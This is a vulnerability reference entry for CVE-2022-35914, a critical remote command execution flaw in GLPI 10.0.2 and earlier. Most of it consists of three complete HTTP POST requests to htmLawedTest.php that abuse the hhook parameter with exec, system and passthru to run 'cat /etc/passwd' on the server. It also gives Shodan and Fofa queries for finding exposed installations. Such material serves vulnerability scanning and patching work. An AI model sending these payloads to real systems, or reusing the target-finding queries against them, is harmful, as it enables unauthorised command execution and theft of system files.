| Title | GLPI <=10.0.2 - Remote Command Execution |
|---|---|
| Author | For3stCo1d,allendemoura |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system. |
| Remediation | Upgrade GLPI to a version higher than 10.0.2 to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94395 |
| CVE ID | CVE-2022-35914 |
| CWE ID | CWE-74 |
| Shodan Query | http.favicon.hash:"-1474875778"http.title:"glpi" |
| Fofa Query | icon_hash="-1474875778"title="glpi" |
| Tags | cve cve2022 glpi rce kev glpi-project vkev vuln |
GLPI through 10.0.2 is susceptible to remote command execution injection in /vendor/htmlawed/htmlawed/htmLawedTest.php in the htmlawed module.
POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.16
Connection: close
Content-Length: 39
Content-Type: application/x-www-form-urlencoded
Cookie: sid=foo
Accept-Encoding: gzip
sid=foo&hhook=exec&text=cat+/etc/passwd
POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
Cookie: sid=foo
Accept-Encoding: gzip
sid=foo&text=system&hfoo=cat+/etc/passwd&hhook=array_map
POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Connection: close
Content-Length: 58
Content-Type: application/x-www-form-urlencoded
Cookie: sid=foo
Accept-Encoding: gzip
sid=foo&text=passthru&hfoo=cat+/etc/passwd&hhook=array_map
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-35914.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-35914.pcap
N/AN/A